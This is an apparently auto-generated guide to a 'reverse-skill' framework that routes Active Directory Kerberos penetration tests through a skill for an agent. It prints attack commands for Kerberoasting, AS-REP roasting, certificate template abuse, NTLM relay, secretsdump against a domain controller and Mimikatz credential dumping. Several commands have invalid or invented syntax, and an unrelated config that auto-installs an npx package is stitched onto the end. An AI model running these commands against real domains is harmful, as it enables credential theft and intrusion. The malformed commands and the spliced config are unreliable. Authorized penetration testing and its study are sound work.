Windows AD Kerberos Pentesting with the reverse-skill Framework: A Complete Guide

The reverse-skill framework handles Windows AD Kerberos pentesting through a modular windows-ad skill that enforces authorization checks, validates tool chains, and executes a graph-first workflow of enumeration, attack path selection, and credential exploitation while automatically logging evidence to a field journal.

The reverse-skill repository by zhaoxuya520 implements a security-oriented "skill-router" architecture designed to standardize penetration testing workflows. For Active Directory and Kerberos assessments, the framework provides a structured approach that ensures repeatability, evidence preservation, and strict authorization controls before executing destructive actions.

Architecture Overview

The framework operates as a modular skill-router system defined in docs/ARCHITECTURE.md. When processing Windows AD Kerberos pentesting requests, the router matches keywords against its routing matrix to invoke the windows-ad skill defined in skills/windows-ad/SKILL.md. This skill orchestrates a six-phase workflow that transforms raw network access into documented security findings while maintaining strict operational security boundaries.

The Six-Phase AD Pentesting Workflow

Phase 1: Scope Initialization and Authorization

Every assessment begins with a mandatory case-init step recorded in skills/windows-ad/SKILL.md (lines 10‑13). The framework requires explicit definition of the network_profile and an "ACTION REQUIRED" checklist that confirms all actions are authorized before tool execution begins. This scope-check prevents accidental testing outside defined boundaries and ensures compliance with rules defined in RULES.md.

Phase 2: Tool Chain Validation

Before exploitation, the router consults tool-index.md to verify the presence of required utilities including Impacket, Certipy, BloodHound, Rubeus, NetExec, and Mimikatz. Missing tools trigger the bootstrap-reverse self-install routine, implemented in skills/scripts/bootstrap-reverse.ps1 for Windows hosts and kali/scripts/bootstrap-manifest.json for Linux environments, ensuring cross-platform compatibility.

Phase 3: Enumeration and Graph Generation

The workflow adopts a graph-first methodology. Initial enumeration uses SharpHound or bloodhound-python to generate a complete Active Directory map before selecting attack vectors:

# SMB enumeration with NetExec

nxc smb <target-range> -u USER -p PASS

# BloodHound data collection

bloodhound-python -d example.local -u USER -p PASS -c All -ns <DC_HOST>

This visualization step ensures that destructive actions occur only after the attack surface is fully understood and authorized.

Phase 4: Attack Path Selection

With the BloodHound map generated, the operator consults skills/windows-ad/references/ad-attack-paths.md to select high-value vectors. The reference document catalogs specific techniques including Kerberoasting, AS-REP roasting, ESC-1 certificate abuse, ACL-based Domain Admin paths, and NTLM relay opportunities.

# Kerberoasting – extract service account hashes

GetUserSPNs -User USER -Domain example.local | Rubeus kerberoast

# AS-REP roasting – target accounts without pre-authentication

GetNPUsers -User USER -Domain example.local | Rubeus asreproast

# ESC-1 certificate template abuse

certipy template add --san example.com --subject "evil" --domain example.local

# NTLM relay setup

responder -I eth0 -wrf
ntlmrelayx -tf targets.txt -smb2support

Phase 5: Credential Exploitation

Following path selection, the framework executes credential extraction using authorized methods only. The windows-ad skill explicitly forbids unauthorized DCSync or Golden Ticket attacks through a "MUST NOT" clause in SKILL.md.

# Remote hash extraction via Impacket

secretsdump.py USER:PASS@<DC_HOST>

# Local credential harvesting with Mimikatz

mimikatz # sekurlsa::logonpasswords

Phase 6: Evidence Capture and Reporting

Every command execution automatically logs to the field-journal, a structured documentation system that preserves command output and timestamps. The framework runs a self-audit using the checklist in SKILL.md (lines 80‑84) to verify enumeration preceded exploitation and that credentials are de-identified. Finally, the docs-generator produces a structured report of findings.

Safety Controls and Constraints

The windows-ad skill enforces multiple safeguards defined in the source documentation. The self-audit checklist requires verification that enumeration data exists before launching exploits, mandates credential de-identification in logs, and restricts actions to the pre-defined scope. These controls prevent common operational errors such as testing production environments without authorization or failing to document critical evidence.

Essential Files and References

• skills/windows-ad/SKILL.md – Core skill definition containing workflow phases, tool lists, and the authorization checklist.
• skills/windows-ad/references/ad-attack-paths.md – Quick-reference table mapping attack vectors (Kerberoasting, ESC-1, NTLM relay) to specific tool commands.
• docs/ARCHITECTURE.md – System architecture diagram showing skill router, bootstrap, and reporting component interactions.
• skills/scripts/bootstrap-reverse.ps1 – PowerShell automation for installing Windows pentesting tools.
• RULES.md – Platform-specific constraints and operational rules governing tool usage.

Summary

• The reverse-skill framework routes AD Kerberos tasks through the windows-ad skill, ensuring standardized workflows.
• A graph-first approach requires BloodHound visualization before selecting attack paths like Kerberoasting or certificate abuse.
• Mandatory authorization checks via case-init and scope validation prevent unauthorized testing against production environments.
• The tool-index and bootstrap-reverse system automatically validate and install required utilities including Impacket, Certipy, and Rubeus.
• All activities are logged to the field-journal with automatic evidence capture and self-audit checklists to ensure compliance.

Frequently Asked Questions

What tools does the reverse-skill framework require for Windows AD pentesting?

The windows-ad skill requires Impacket/NetExec for SMB and protocol operations, BloodHound/SharpHound for AD enumeration, Certipy for certificate abuse, and Rubeus/Mimikatz for Kerberos operations and credential extraction. The tool-index.md validation step ensures these are present before execution begins.

How does reverse-skill prevent unauthorized exploitation during Kerberos testing?

The framework enforces a mandatory authorization phase through case-init in SKILL.md (lines 10‑13) that requires explicit scope definition and an "ACTION REQUIRED" checklist. Additionally, a "MUST NOT" clause explicitly forbids unauthorized DCSync and Golden Ticket attacks, while the self-audit checklist verifies enumeration preceded any exploitation.

What is the graph-first approach in the windows-ad skill?

The graph-first methodology requires operators to generate a complete BloodHound map of the Active Directory environment during the enumeration phase before selecting attack paths. This ensures that destructive actions like Kerberoasting or ACL abuse are taken only after visualizing the attack surface and obtaining proper authorization, as documented in ad-attack-paths.md.

How does the framework handle missing penetration testing tools?

If tool-index.md detects missing utilities, the router automatically invokes bootstrap-reverse, which executes skills/scripts/bootstrap-reverse.ps1 on Windows or references kali/scripts/bootstrap-manifest.json on Linux to install required tools from winget, GitHub releases, or package managers.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}